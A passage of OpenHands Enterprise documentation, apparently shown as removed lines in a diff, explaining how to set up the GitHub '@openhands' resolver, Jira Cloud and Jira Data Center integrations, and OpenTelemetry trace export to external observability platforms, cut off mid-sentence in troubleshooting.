-2. Enter the **GitHub App Client ID**. -3. Enter the **GitHub App Client Secret**. -4. Enter the numeric **GitHub App ID**. -5. Enter the **GitHub App Slug**. -6. Enter the **GitHub App Webhook Secret**. -7. Upload the **GitHub App Private Key** (`.pem`). -8. Save the configuration and deploy the new version. -9. Wait for the deployment to reach **Ready**. - -The [Enterprise Quick Start](/enterprise/quick-start) covers the surrounding -installation and deployment steps. - -## Step 4: Sign In with GitHub - -Each user must sign in to OpenHands with GitHub before invoking the resolver. -The first sign-in links the GitHub identity to the user's OpenHands account and -stores the authorization needed to perform repository operations as that user. - -If a GitHub user who has not linked an OpenHands account mentions `@openhands`, -the bot responds with instructions to sign in before starting a job. - -## Use the Built-In Resolver - -Mention `@openhands` in an issue, pull request comment, or inline pull request -review comment. You can also add the `openhands` label to an issue. Include the -task after the mention, for example: - -```text -@openhands explain why this test is failing -``` - -```text -@openhands /codereview -``` - -The resolver starts a job only when: - -- The GitHub App is installed for the repository. -- GitHub can deliver a valid webhook to the OpenHands webhook URL. -- The triggering user has signed in to OpenHands with GitHub. -- The triggering user has write access to the repository. - -When a job starts, OpenHands: - -1. Adds an eyes reaction to the triggering issue or comment. -2. Creates an OpenHands conversation with the issue or pull request context. -3. Posts an `I'm on it!` acknowledgement as the GitHub App and links to the conversation. -4. Runs the task using the triggering user's GitHub authorization. -5. Posts the conversation's final response as a completion comment from the GitHub App. - -The acknowledgement and completion comment are part of the built-in resolver. -They are not custom event automations. - -## Customize Resolver Conversations - -The resolver creates a standard OpenHands conversation. The triggering comment -or labeled issue defines the task, and the issue or pull request provides -additional context. Once the conversation starts, normal skill discovery and -triggering apply. - -Available skills can come from OpenHands, the repository, or the organization. -OpenHands exposes their names and descriptions to the agent. A matching trigger -injects a skill automatically, and the agent can invoke other skills that appear -relevant to the task. - -By default, GitHub resolver conversations automatically receive the built-in -GitHub skill. The resolver's initial message refers to GitHub APIs, which matches -the skill's `github` trigger. This gives the agent the baseline instructions for -using GitHub, but it does not limit the conversation to that skill. Repository, -organization, and other task-specific skills can apply alongside it. For example, -`@openhands /codereview` also activates the matching code review skill. - -Choose the customization scope that matches the behavior you want to change: - -| Goal | Use | -|---|---| -| Apply instructions to every OpenHands task in one repository | Repository `AGENTS.md` | -| Add guidance for a specific workflow, such as issue triage, test diagnosis, or pull request review | Repository skill | -| Apply the same workflow across repositories | Organization skill | -| Change acknowledgements, GitHub identity, trigger eligibility, or completion callbacks | Product or integration change; skills do not control these behaviors | - -For example, repository instructions can tell the agent not to push directly, an -issue-triage skill can define labels and escalation rules, and a review skill can -specify the expected format and event for a formal pull request review. - -### Pull Request Review Example - -Use `@openhands /codereview` to activate the built-in code review skill instead -of relying on the agent to interpret a general `@openhands review` request. Add -repository or organization guidance when your team needs a consistent review -policy. - -For example, create `.agents/skills/custom-codereview-guide.md` to tell the agent -to submit informational reviews instead of approvals: - -```markdown ---- -name: custom-codereview-guide -description: Apply this repository's GitHub pull request review policy. -triggers: -- /codereview ---- - -# GitHub Review Policy - -When submitting a GitHub pull request review: - -- Always use `event: COMMENT`. -- Never use `event: APPROVE` or `event: REQUEST_CHANGES`. -- Put all findings in the formal review body or inline review comments. -- Keep the final response brief and point readers to the formal review instead of repeating it. -``` - -Do not name this skill `code-review`; that name conflicts with the built-in review -skill. Keep the `/codereview` trigger so both skills activate for the same request. -Start a new resolver conversation after committing the skill because skills do -not retroactively change a conversation that is already running. - -See [Code Review](/openhands/usage/use-cases/code-review#customization) for more -review examples and [Skills and Plugins](/enterprise/skills-and-plugins) for all -repository and organization distribution options. - -## Integration-Owned Behavior - -Skills guide the agent after the conversation starts. They do not change how the -GitHub integration authenticates users, accepts events, or posts status messages. - -### Review and Comment Identity - -The built-in resolver intentionally uses different credentials for different actions: - -| Action | GitHub identity | -|---|---| -| Eyes reaction | GitHub App bot | -| `I'm on it!` acknowledgement | GitHub App bot | -| Repository changes and formal pull request reviews | Triggering user | -| Completion comment | GitHub App bot | - -There is currently no supported setting that makes formal reviews run as the -GitHub App bot. If your organization requires reviews to have a machine identity, -use an [OpenHands code review automation](/openhands/usage/use-cases/code-review#option-b-openhands-automation-org-wide) -with a dedicated bot credential. - -### Use a Service Account for Automated Conversations - -For API-started conversations, a GitHub service account can own repository -operations while a person signs in to OpenHands with GitHub or a SAML provider -such as [Authentik](/enterprise/integrations/saml-providers/authentik). This is -separate from the built-in `@openhands` resolver, which uses the triggering -user's GitHub authorization for repository operations. - -1. Create a dedicated GitHub account and grant it access to the repositories - and actions the automation needs. -2. Create a narrowly scoped PAT for that account. Pass it as `GITHUB_TOKEN` in - the `secrets` map when calling `POST /api/v1/app-conversations`. Do not put - the token in the initial message. See - [Pass Secrets At Conversation Start](/enterprise/conversations-and-sandboxes#pass-secrets-at-conversation-start). -3. If the PAT belongs to a different GitHub user than the OpenHands account, - omit `selected_repository` from the start request. Clone the repository - after startup, or prepare a sandbox and attach the conversation. -4. Set the Git name and email used for commits. The PAT authorizes repository - operations but does not set commit authorship. Use an email associated with - the service account so GitHub attributes its commits to that account. - -`Settings > Application > Git Settings` saves the Git name and email for the -OpenHands user who starts the conversation. OpenHands applies these settings -when preparing the sandbox, whether or not a repository was selected at -startup. If only one repository should use the service account's commit -identity, run these commands in that repository instead: - -```bash -git config user.name "OpenHands Bot" -git config user.email "bot@example.com" -``` - -Replace the example email with one associated with the service account. - - - A service account PAT authenticates as a GitHub user. It is not a GitHub App - installation token. The GitHub App configured earlier in this guide handles - integration events and bot status comments; it does not make the built-in - resolver perform repository operations as the app bot. - - -### Completion Comments - -The built-in resolver posts the agent's final response as a completion comment. -There is currently no Admin Console setting to disable this comment while keeping -the built-in resolver enabled. - -A repository or organization skill can reduce duplication by telling the agent -to keep its final response brief and refer readers to the formal review. A skill -cannot disable the resolver's completion callback itself. - -## Troubleshooting - -| Symptom | Check | -|---|---| -| **Login with GitHub** is not visible | Confirm **GitHub Authentication** is enabled and the updated configuration has been deployed. | -| GitHub OAuth redirects fail | Confirm the callback URL uses `https://auth./realms/allhands/broker/github/endpoint` for **Simple** mode or `https://auth.app./realms/allhands/broker/github/endpoint` for **Legacy** mode. Recreate the app or update its callback URL if the helper was run with the wrong DNS layout. | -| GitHub reports failed webhook deliveries | Confirm GitHub can reach `https://app./integration/github/events`, the TLS certificate is trusted, and the webhook secret matches the Admin Console value. | -| `@openhands` is ignored | Confirm the app is installed for the repository, the sender has write access, and the sender has signed in to OpenHands with GitHub. | -| OpenHands posts duplicate acknowledgements or reviews | Check whether more than one OpenHands GitHub App is installed for the repository. | -| The acknowledgement is from the bot but the review is from a user | This is expected. The app posts resolver status messages, while repository operations use the triggering user's GitHub authorization. | -| A review is submitted as **Approve** instead of **Comment** | Add repository or organization guidance that tells the agent to use `event: COMMENT`, then start a new resolver conversation. | -| The review and completion comment repeat the same content | Add a skill that keeps the final response brief. The completion comment cannot currently be disabled through the Admin Console. | -| OpenHands can read the repository but cannot post a review | Confirm the app and user authorization include write access to pull requests, and confirm the user can review the pull request in GitHub. | - -## Related Documentation - -- [Enterprise Quick Start](/enterprise/quick-start) -- [Skills and Plugins](/enterprise/skills-and-plugins) -- [Code Review](/openhands/usage/use-cases/code-review) - -### Jira Cloud -Source: https://docs.openhands.dev/enterprise/integrations/jira-cloud.md - -This guide explains how to connect Jira Cloud to an OpenHands Enterprise -Replicated installation. The integration lets users start OpenHands from Jira -issues by commenting with `@openhands` or by adding the `openhands` label. -OpenHands replies on the issue with a link to the conversation and posts the -result back when it finishes. - -Jira Cloud users are linked to OpenHands accounts by **email match**: no -Atlassian OAuth app is required, and users need no per-user setup beyond -making their email visible (see [User requirements](#user-requirements)). -Users are enrolled automatically the first time they trigger OpenHands. - -## Prerequisites - -- Jira Cloud **site administrator** access, to invite the service account and - register a webhook. -- An OpenHands Enterprise **organization admin or owner** account, to - configure the integration inside OpenHands. -- Network access from Jira Cloud to the OpenHands app URL over HTTPS with a - publicly trusted certificate (for webhook delivery), and from OpenHands to - `api.atlassian.com` (for Jira API calls). - -## Create a service account - -Create a dedicated Atlassian account for OpenHands, for example -`openhands-bot@company.com`. OpenHands uses this account to read issues and -post comments, and its replies appear under this account's name. - -1. Invite the account to your Jira site and grant it access to every project - where OpenHands should read and comment. -2. Log in as the service account and create an API token at - **id.atlassian.com → Security → API tokens**. Save the token somewhere - safe. You will need it for the next configuration step below. - - - Mentions and labels made by the service account itself are ignored to - prevent the agent from triggering itself. Always test from a regular user - account, not the service account. - - -## Enable the integration in the Admin Console - -1. In the OpenHands Enterprise Admin Console, open **Config** and check - **Enable Jira Cloud Integration** under **Jira Cloud Integration**. -2. Save and deploy the new version, and wait for the rollout to finish. - -After the deploy, a **Jira** card appears under **Settings → Integrations** -in the OpenHands app. - -## Configure the workspace in OpenHands - -As an organization admin or owner, open **Settings → Integrations → Jira** -in OpenHands and select **Configure**: - -- **Workspace**: the full site hostname, for example - `yourcompany.atlassian.net`. Webhook events are matched against this - hostname, so the bare site name is not sufficient. -- **Service account email**: the service account's email address. -- **Service account API token**: the token created above. The credentials are - validated against Jira when you save, so a typo fails immediately. -- **Webhook secret**: choose a strong secret. You will paste the same secret - into Jira in the next step. - -Save, then copy the **events URL** shown below the webhook secret field. It -has the form: - -``` -https://app./integration/jira/events -``` - -## Register the webhook in Jira - -In Jira, open **Settings (gear icon) → System → WebHooks** and create a -webhook: - -- **URL**: the events URL copied above. -- **Secret**: the same webhook secret entered in OpenHands. Jira uses it to - sign deliveries, and OpenHands rejects unsigned or mis-signed events. -- **Events**: check **Issue → updated** and **Comment → created**. These are - the only two events OpenHands processes. -- Optionally scope the webhook with a JQL filter (for example - `project = ENG`). -- Leave the request body included (do not check "Exclude body"). - -## User requirements - -Each user who wants to trigger OpenHands from Jira must satisfy two -conditions: - -1. **Matching email**: the user's Atlassian account email must exactly match - their OpenHands login email. -2. **Visible email**: in the user's Atlassian account settings - (**id.atlassian.com → Profile and visibility → Contact → Email address**), - visibility must be set to **Anyone**. Jira omits the email from webhook - payloads otherwise, and OpenHands cannot match the user without it. - - - Atlassian can take 15 minutes or more to propagate an email-visibility - change into webhook payloads. If OpenHands replies that it could not - determine your email address right after you changed the setting, wait and - try again before assuming the setting is wrong. - - -No further setup is needed: the first successful mention enrolls the user -automatically. - -## Start OpenHands from an issue - -- Comment `@openhands` followed by instructions on any issue in a project the - webhook covers, or add the `openhands` label to the issue. Both the typed - literal text and the mention selected from Jira's autocomplete picker work. -- To have OpenHands work in a repository, include the repository URL (for - example `https://gitlab.com/group/project` or - `https://github.com/org/repo`) in the issue description or the comment. The - triggering user must have that Git provider connected in OpenHands, and - exactly one repository should be mentioned. Without a repository, OpenHands - still answers on the issue but works without a workspace. - -OpenHands reacts with a comment linking to the conversation, and the service -account posts the result back to the issue when the run completes. - -## Troubleshooting - -- **OpenHands replies "Could not determine your Jira email address"**: the - email-visibility requirement above is not met, or the change has not - propagated yet. Verify the exact setting and retry after 15 minutes. -- **A mention does nothing, with no reply at all**: check that the comment - was not made by the service account (those are ignored), that the user's - Atlassian email matches their OpenHands email, and that the webhook covers - the issue's project. Jira Cloud does not show a delivery log for system - webhooks, so check the OpenHands logs (the `openhands-integrations` - workload) or collect a support bundle. -- **Logs show `403 Unidentified workspace`**: the Workspace field in the - OpenHands configuration does not equal the site hostname in the webhook - payload. Re-open the configuration and set it to - `yourcompany.atlassian.net`. -- **OpenHands replies that multiple repositories were found**: mention - exactly one repository in the issue and comment text. - -### Jira Data Center -Source: https://docs.openhands.dev/enterprise/integrations/jira-data-center.md - -This guide explains how to connect Jira Data Center to an OpenHands Enterprise -Replicated installation. The integration lets users start OpenHands from Jira -issues by commenting with `@openhands` or by adding the `openhands` label. - -![Jira Data Center issue with OpenHands comments](../images/jira-data-center-openhands-comment.png) - -## Prerequisites - -- Jira Data Center administrator access to create users, personal access - tokens, OAuth applications, and webhooks. -- A currently supported Jira Data Center version with OAuth 2.0 incoming - application links enabled. If you do not see **External - application** and **Incoming** while creating the link, verify your Jira Data - Center version and application link settings. -- Network access from OpenHands to Jira Data Center for API calls, and from - Jira Data Center back to the OpenHands app URL for webhook delivery. -- If Jira Data Center uses an internal or self-signed certificate, upload the - issuing CA in the OpenHands Enterprise Admin Console under **Additional - Trusted CA Certificates** before deploying. - - - Jira Data Center setup is global for the OpenHands Enterprise installation. - Service account values are configured in the Admin Console. Webhook setup is - completed later inside OpenHands. - - -## Create a Bot Token - -Create a dedicated Jira user for OpenHands. For example, create a user named -`openhands` with an email address such as `openhands-bot@company.com`. -OpenHands uses this bot account to read issues, add comments, and add -reactions. Grant it access to all Jira projects where OpenHands should read and -comment. - -After you have granted the bot user access, sign in as the `openhands` user and -create a Jira personal access token from the user's profile. Store it securely. -You will need to paste the bot account email and PAT into the OpenHands -Enterprise Admin Console. - -![Jira Data Center personal access token permissions inherit the user's access](../images/jira-data-center-personal-access-token-permissions.png) - -## Create a Jira OAuth Application - -OAuth linking is recommended because it lets team members prove ownership of -their Jira account before using OpenHands to process their Jira events. - -In Jira Data Center, open **Administration > Applications > Application links** -and create a new link. When Jira asks what type of application to connect, -choose **External application**. For the direction, choose **Incoming** because -OpenHands connects to Jira during OAuth linking. - -![Jira Data Center create incoming OAuth link dialog](../images/jira-data-center-create-incoming-link.png) - -Configure the incoming link with this callback URL: - -```text -https://app./integration/jira-dc/callback -``` - -Use your actual app hostname, for example: - -```text -https://app.openhands.example.com/integration/jira-dc/callback -``` - -When prompted for OAuth scopes, select `WRITE` (allows OpenHands to link Jira -accounts and make Jira API calls within the user's granted Jira permissions). - -![Jira Data Center incoming OAuth link form](../images/jira-data-center-incoming-link-form.png) - -Copy the OAuth client ID and client secret and store them securely. You will -paste them into the Admin Console. - -![Jira Data Center OAuth credentials](../images/jira-data-center-oauth-credentials.png) - - - If your Jira Data Center installation cannot provide an OAuth application, you - can select email matching in the Admin Console instead. In that mode, - OpenHands links Jira users by matching their Jira email address to their - OpenHands email address. - - -## Configure the Admin Console - -Open the Replicated Admin Console for your OpenHands Enterprise installation and -go to the application configuration page. - -In **Jira Data Center Integration**: - -1. Enable **Jira Data Center Integration**. -2. Select the user linking method: - - **OAuth** is recommended. - - **Email match** can be used if OAuth is not available. -3. Enter the **Jira Data Center Service Account Email**. -4. Enter the **Jira Data Center Service Account PAT**. -5. If using OAuth, enter the **Jira Data Center Base URL**, including - `https://`. -6. If using OAuth, enter the **Jira Data Center OAuth Client ID** and - **OAuth Client Secret**. -7. Save and deploy the updated configuration. - - - The Jira Data Center Base URL must include the scheme, for example - `https://jira.example.com`. Do not enter only `jira.example.com`. - - -## Install the Jira Webhook - -After OpenHands is deployed, sign in to OpenHands and open -**Settings > Integrations > Jira Data Center**. - -If OAuth is enabled, click **Connect** and complete the Jira OAuth flow. Then set -up the webhook using one of the options below. - -### Automatic setup - -Choose **Install automatically** and paste a short-lived Jira admin PAT. -OpenHands uses this PAT once to call Jira's webhook API and then discards it. The -PAT is never stored. The automatic setup creates or updates a Jira global -webhook named `OpenHands` that points to this OpenHands URL. - -```text -https://app./integration/jira-dc/connections//events -``` - -### Manual setup - -Choose **Set it up in Jira myself**, then click **Generate webhook details**. -OpenHands saves the connection and shows a webhook URL and signing secret. - -![Jira Data Center manual webhook setup values](../images/jira-data-center-manual-webhook.png) - -Automatic setup is recommended. If you choose manual setup, create a global -webhook using the generated URL and signing secret. Jira must include the -request body and sign deliveries with the generated secret; if your Jira admin -UI does not support those settings, use automatic setup. - -Use these events: - -- `jira:issue_created` -- `jira:issue_updated` -- `jira:issue_deleted` -- `comment_created` -- `comment_updated` -- `comment_deleted` - -After saving the webhook in Jira, return to OpenHands and click -**I created the webhook**. - -## Link Users - -Each user who wants to invoke OpenHands from Jira should sign in to OpenHands and -connect their Jira Data Center account from **Settings > Integrations > Jira Data -Center**. - - - Webhook setup is global for the OpenHands Enterprise installation. Only the - user setting up the integration needs to install the webhook or provide a Jira - admin PAT. Other teammates only need to connect their own Jira Data Center - account from **Settings > Integrations** before using `@openhands` from Jira. - - -When a Jira event arrives, OpenHands resolves the Jira user to an OpenHands user. -If the Jira user has an OpenHands account but has not connected Jira Data -Center, OpenHands comments on the issue asking them to connect their account and -try again. -If no OpenHands account exists for the Jira user's email address, OpenHands -comments on the issue asking the user to sign up and try again. - -## Trigger OpenHands from Jira - -Create or update a Jira issue with clear requirements. Include the target -repository in the issue description or in a follow-up comment, for example: - -```text -Repository: Acme/web-app -``` - -OpenHands looks for a line starting with `Repository:` followed by the same -`org/repo` format configured in your connected source control provider. - -Then trigger OpenHands with either: - -- A Jira comment containing `@openhands`. -- The `openhands` label on the issue. - -The invoking OpenHands user must have access to the target repository written in -the Jira issue. If OpenHands cannot determine or access the repository, it -comments on the issue with the next step to fix the repository reference or -access. - -## Troubleshooting - -| Symptom | Check | -| --- | --- | -| The Jira Data Center card is not visible in OpenHands | Confirm Jira Data Center Integration is enabled in the Admin Console and the deployment has been applied. | -| OAuth redirects fail | Confirm the Jira OAuth callback URL exactly matches `https://app./integration/jira-dc/callback`. | -| Automatic webhook setup fails | Confirm the admin PAT belongs to a Jira user allowed to create global webhooks. | -| Webhook deliveries return `403` | Confirm the webhook URL and signing secret match the values generated by OpenHands. | -| Webhook deliveries reach OpenHands but no job starts | Confirm the Jira user is linked, the integration is active, the comment contains `@openhands` or the issue update added the `openhands` label, and the user has access to the repository. | -| OAuth, issue reads, or automatic webhook setup fail with connection errors | Confirm the OpenHands cluster can reach the Jira Data Center URL. | -| Jira webhook deliveries do not reach OpenHands | Confirm the Jira Data Center network can reach the OpenHands app URL. | -| Jira API calls fail with TLS errors | Upload the Jira Data Center CA certificate in **Additional Trusted CA Certificates** and redeploy. | - -### External Observability Platforms -Source: https://docs.openhands.dev/enterprise/integrations/observability-platforms.md - -OpenHands Enterprise (OHE) ships with [Laminar](/enterprise/analytics) as its -built-in tracing backend. Every conversation emits OpenTelemetry traces that -flow to the in-cluster Laminar service. If your organization already operates a -different OpenTelemetry-compatible observability platform — Langfuse, Honeycomb, -Tempo, Datadog, or any backend that speaks OTLP — you can redirect all OHE -conversation traces to it without modifying OHE source or patching the Helm -chart. The change is a set of environment variables on the runtime pod. - -This guide walks an operator through pointing OHE at an external observability -platform and confirms what you get versus the built-in Laminar experience. - - - This guide is for **OpenHands Enterprise** operators who want to use an - external OTLP backend instead of, or in addition to, the bundled Laminar. If - you want to enable the bundled Laminar, see - [Analytics](/enterprise/analytics) instead. To route LLM traffic through an - external gateway (a separate concern from trace export), see - [External LLM Gateways](/enterprise/integrations/external-llm-gateways). For - SDK-level tracing concepts and the full list of OTLP backends the OpenHands - SDK supports, see [Observability & Tracing](/sdk/guides/observability). - - -## Overview - -OHE's tracing layer is the Laminar Python SDK (`lmnr`), which is a thin wrapper -over the OpenTelemetry SDK. The `lmnr` SDK respects standard -`OTEL_EXPORTER_OTLP_TRACES_*` environment variables whenever its own -Laminar-specific `LMNR_BASE_URL` is not set. That gives you a clean switch with -no code changes: - -```text -OpenHands Runtime (lmnr SDK + OpenTelemetry SDK) - │ - ├── LMNR_BASE_URL set? ──► routes to in-cluster Laminar (default) - │ - └── LMNR_BASE_URL unset? ──► reads OTEL_EXPORTER_OTLP_TRACES_* ──► your backend - (Langfuse, Honeycomb, …) -``` - -There are two integration paths: - -- **Direct (recommended).** Point the runtime straight at your OTLP/HTTP - backend. No extra infrastructure. Use this when your backend speaks OTLP/HTTP, - which Langfuse, Honeycomb, Tempo, and Datadog all do. -- **Collector tap (optional).** Put an OpenTelemetry Collector between the - runtime and your backend. Use this when you need batching, retry, fan-out to - multiple backends, or a non-OTLP destination. - -Both paths leave OHE stock. The only change is pod environment variables. - -## Prerequisites - -Before you start, confirm: - -- **OHE is installed and reachable.** You can sign in at - `https://app.`. -- **Your observability backend is reachable from the OHE cluster.** The runtime - pod makes outbound HTTP/S calls to the backend, so DNS and network paths must - resolve from inside the `openhands` namespace. -- **You have an ingest endpoint and credentials on your backend.** You need the - OTLP traces URL and whatever auth the backend expects (an API key, Basic auth, - or a bearer token). -- **You have cluster access** to edit Helm values or the Replicated Admin - Console, and can restart the runtime pod. - -## Choose your backend - -The configuration is the same for every OTLP/HTTP backend. Only the endpoint -URL, auth header, and protocol differ. - - - - Self-hosted or Cloud. OTLP/HTTP with Basic auth. Maps OHE LLM spans to - Langfuse generations with model, tokens, and cost. - - - OTLP/HTTP with a header API key. High-cardinality distributed tracing. - - - OTLP/gRPC or HTTP. Open-source trace storage, queried from Grafana. - - - Any backend that accepts OTLP. Jaeger, Datadog, New Relic, Splunk, and more. - - - -## How tracing works in OHE - -The runtime pod sets these environment variables by default when Laminar is -enabled (see [Analytics](/enterprise/analytics)): - -```yaml -LMNR_BASE_URL: "http://laminar-app-server-service" -LMNR_FORCE_HTTP: "true" -LMNR_HTTP_PORT: "8000" -LMNR_PROJECT_API_KEY: "" -``` - -The `lmnr` SDK resolves its trace exporter like this: - -1. If `LMNR_BASE_URL` is set, the SDK routes to Laminar and **ignores** any - `OTEL_EXPORTER_OTLP_TRACES_*` variables. This is the default state. -2. If `LMNR_BASE_URL` is **not** set, the SDK falls back to the standard - OpenTelemetry environment variables and emits OTLP directly to whatever - endpoint you configure. - - - The switch is `LMNR_BASE_URL`. As long as it is set, the runtime keeps - sending traces to Laminar and ignores your `OTEL_*` variables. To redirect - traces to your own backend, you must unset `LMNR_BASE_URL` (and the other - `LMNR_*` connection variables) **and** set the `OTEL_EXPORTER_OTLP_TRACES_*` - variables. Setting only the `OTEL_*` variables while Laminar is still - enabled has no effect. - - -The SDK reads these variables in standard OpenTelemetry precedence (highest -first): `OTEL_EXPORTER_OTLP_TRACES_*`, then `OTEL_EXPORTER_OTLP_*`, then -`OTEL_*`. Setting the `_TRACES_` variants is the most explicit and recommended -form. - -## Configure OHE - -Pick the path that matches how OHE is deployed. - - - - Disable the bundled Laminar and set the OpenTelemetry exporter variables - under the top-level `env` block in your `values.yaml`: - - ```yaml - laminar: - enabled: false - - env: - # Unset the Laminar connection variables explicitly so no chart - # default re-injects them: - LMNR_BASE_URL: "" - LMNR_PROJECT_API_KEY: "" - LMNR_FORCE_HTTP: "" - LMNR_HTTP_PORT: "" - - # Point the OpenTelemetry SDK at your backend: - OTEL_EXPORTER_OTLP_TRACES_ENDPOINT: "http:///api/public/otel/v1/traces" - OTEL_EXPORTER_OTLP_TRACES_PROTOCOL: "http/protobuf" - OTEL_EXPORTER_OTLP_TRACES_HEADERS: "Authorization=Basic " - ``` - - Supply any secret values (API keys, Basic auth strings) as a Kubernetes - secret rather than committing them in `values.yaml`: - - ```bash - kubectl -n openhands create secret generic observability-auth \ - --from-literal=OTLP_AUTH_HEADER='Authorization=Basic ' - ``` - - Then reference the secret in `values.yaml` and redeploy: - - ```yaml - env: - OTEL_EXPORTER_OTLP_TRACES_ENDPOINT: "http:///api/public/otel/v1/traces" - OTEL_EXPORTER_OTLP_TRACES_PROTOCOL: "http/protobuf" - OTEL_EXPORTER_OTLP_TRACES_HEADERS: - valueFrom: - secretKeyRef: - name: observability-auth - key: OTLP_AUTH_HEADER - ``` - - ```bash - helm upgrade openhands oci://registry.replicated.com/openhands/openhands \ - --namespace openhands \ - --values values.yaml - ``` - - Restart the runtime pod after the upgrade so the new environment is picked - up: - - ```bash - kubectl -n openhands rollout restart deploy/openhands - ``` - - - - The Replicated Admin Console exposes the Laminar configuration fields (see - [Analytics](/enterprise/analytics)) but does not currently expose - `OTEL_EXPORTER_OTLP_TRACES_*` fields directly. To redirect traces to your - own backend on a VM install: - - 1. In the **Analytics Configuration** section, **uncheck Enable Analytics** - so the installer stops setting the `LMNR_*` variables. - 2. Use the Replicated **Custom Environment Variables** feature (Advanced - Options) to add the three `OTEL_EXPORTER_OTLP_TRACES_*` variables above. - 3. Save and deploy. The runtime pod restarts with the new environment. - - - If your OHE version's Admin Console does not expose a custom environment - variable section, this path is not available on VM installs without a - support escalation. The Helm (Kubernetes) path is fully supported. Check - your release notes or contact OpenHands support for the custom-env - availability on your version. - - - - -## Backend-specific configuration - -The three values you need differ per backend: the endpoint URL, the auth -header, and the protocol. - -### Langfuse {#langfuse} - -Langfuse v3 and v4 expose an OTLP/HTTP ingestion endpoint. Authentication is -HTTP Basic, with the Langfuse **public key** as the username and the **secret -key** as the password. - -```yaml -env: - OTEL_EXPORTER_OTLP_TRACES_ENDPOINT: "https:///api/public/otel/v1/traces" - OTEL_EXPORTER_OTLP_TRACES_PROTOCOL: "http/protobuf" - OTEL_EXPORTER_OTLP_TRACES_HEADERS: "Authorization=Basic " -``` - -Compute the Basic auth value with: - -```bash -echo -n "pk-lf-xxxxxxxx:sk-lf-yyyyyyyy" | base64 -``` - - - Langfuse v4 self-hosted installs default to **events-only mode**, which - accepts traces on `/api/public/otel/v1/traces` but does not expose the - legacy `GET /api/public/traces` endpoint. Read trace data with - `GET /api/public/v2/observations` instead. The Langfuse UI reads from the - same store, so traces appear in the UI regardless of mode. - - -Langfuse maps the OpenTelemetry `gen_ai.*` semantic conventions that the `lmnr` -SDK emits onto its own observation model, so LLM calls render as **GENERATION** -observations with model, token usage, and input/output content. See -[What you get](#what-you-get) below. - -### Honeycomb {#honeycomb} - -Honeycomb accepts OTLP/HTTP with the API key in the `x-honeycomb-team` header. - -```yaml -env: - OTEL_EXPORTER_OTLP_TRACES_ENDPOINT: "https://api.honeycomb.io/v1/traces" - OTEL_EXPORTER_OTLP_TRACES_PROTOCOL: "http/protobuf" - OTEL_EXPORTER_OTLP_TRACES_HEADERS: "x-honeycomb-team=" -``` - -Set the Honeycomb dataset by adding `x-honeycomb-dataset=` to the -headers value, comma-separated. - -### Grafana Tempo {#tempo} - -Tempo accepts OTLP over gRPC or HTTP. For gRPC: - -```yaml -env: - OTEL_EXPORTER_OTLP_TRACES_ENDPOINT: "http://:4317" - OTEL_EXPORTER_OTLP_TRACES_PROTOCOL: "grpc/protobuf" -``` - -For HTTP: - -```yaml -env: - OTEL_EXPORTER_OTLP_TRACES_ENDPOINT: "http://:4318/v1/traces" - OTEL_EXPORTER_OTLP_TRACES_PROTOCOL: "http/protobuf" -``` - -Tempo does not require auth on the OTLP receiver by default. If you put Tempo -behind a gateway that requires auth, add the header to -`OTEL_EXPORTER_OTLP_TRACES_HEADERS`. - -### Generic OTLP {#generic-otlp} - -For any backend that accepts OTLP (Jaeger, Datadog, New Relic, Splunk -Observability, and others), set the endpoint and protocol your backend -documents, plus any auth header it requires: - -```yaml -env: - OTEL_EXPORTER_OTLP_TRACES_ENDPOINT: "https:///v1/traces" - OTEL_EXPORTER_OTLP_TRACES_PROTOCOL: "http/protobuf" - OTEL_EXPORTER_OTLP_TRACES_HEADERS: "=,=" -``` - -Headers are comma-separated `key=value` pairs, URL-encoded. Most backends -accept a single `Authorization` or `X-API-Key` header. - -## What you get - -A single OHE conversation produces one trace with a nested span tree. The -shape is the same whether the traces land in Laminar or in your external -backend: - - - - - - - - - - - - - - - -Each conversation is grouped under a single trace ID (the OpenHands -conversation UUID), so all spans from one conversation — across every agent -step, LLM call, and tool execution — appear together. - -For LLM spans, the `lmnr` SDK emits standard OpenTelemetry `gen_ai.*` semantic -conventions: - -| Attribute | Meaning | -|-----------|---------| -| `gen_ai.request.model` | Model name (for example, `claude-sonnet-4-5-20250929`) | -| `gen_ai.usage.input_tokens` | Prompt tokens | -| `gen_ai.usage.output_tokens` | Completion tokens | -| `gen_ai.input.messages` | The request messages (JSON) | -| `gen_ai.output` / `gen_ai.completion` | The response content | -| `openinference.span.kind` | Span classification: `LLM`, `TOOL`, `AGENT`, `CHAIN` | - -Backends that understand these conventions render LLM calls as first-class -generation spans with model, token usage, and prompt content. In Langfuse, -LLM spans become **GENERATION** observations; tool spans become **TOOL** -observations; the conversation root becomes an **AGENT** observation. The -nesting, trace ID, session ID, and user ID are all preserved. - -### Cost calculation - -Laminar computes cost from the token usage on each LLM span. External backends -do the same, but only when the model is registered in the backend's model -catalog with pricing. If a model is missing from the catalog, the span still -appears with token counts, but cost is blank. - - - After pointing OHE at Langfuse, add each model your runtime uses (for example, - `claude-sonnet-4-5-20250929`, `gpt-4o`) to Langfuse's **Settings → Models** - table with input and output token prices. Until you do, cost columns are - empty even though token usage is captured. - - -## Optional: OTel Collector tap - -If you want batching, retry, fan-out to multiple backends, or a non-OTLP -destination, deploy an OpenTelemetry Collector in the `openhands` namespace and -point the runtime at it instead of directly at your backend. - -```text -OpenHands Runtime ──► OTel Collector ──► your backend(s) - (batch, retry, (Langfuse, Tempo, …) - fan-out, filter) -``` - -Point the runtime at the collector's OTLP receiver: - -```yaml -env: - OTEL_EXPORTER_OTLP_TRACES_ENDPOINT: "http://otel-collector.openhands.svc:4318/v1/traces" - OTEL_EXPORTER_OTLP_TRACES_PROTOCOL: "http/protobuf" -``` - -Collector config (`otel-collector-config.yaml`): - -```yaml -receivers: - otlp: - protocols: - http: - endpoint: 0.0.0.0:4318 - grpc: - endpoint: 0.0.0.0:4317 - -processors: - batch: - timeout: 5s - send_batch_size: 512 - -exporters: - otlphttp/langfuse: - endpoint: http:///api/public/otel - headers: - Authorization: "Basic " - # Add a second exporter to dual-sink into Laminar or another backend. - -service: - pipelines: - traces: - receivers: [otlp] - processors: [batch] - exporters: [otlphttp/langfuse] -``` - -This is also how you keep Laminar running as a secondary sink while sending -traces to your own platform: add a second exporter pointing at the in-cluster -Laminar service. - -## Keep Laminar and add a second backend - -If you want traces in **both** Laminar and your own backend, do not unset -`LMNR_BASE_URL`. Instead, deploy an OTel Collector as above and configure the -runtime to send to the collector, with the collector exporting to both -Laminar and your backend. This preserves the built-in Laminar experience -(including the Admin Console Traces tab and Laminar signals) while mirroring -the same traces to your platform. - -## Troubleshooting - - - - `LMNR_BASE_URL` is still set. As long as it is present, the `lmnr` SDK - routes 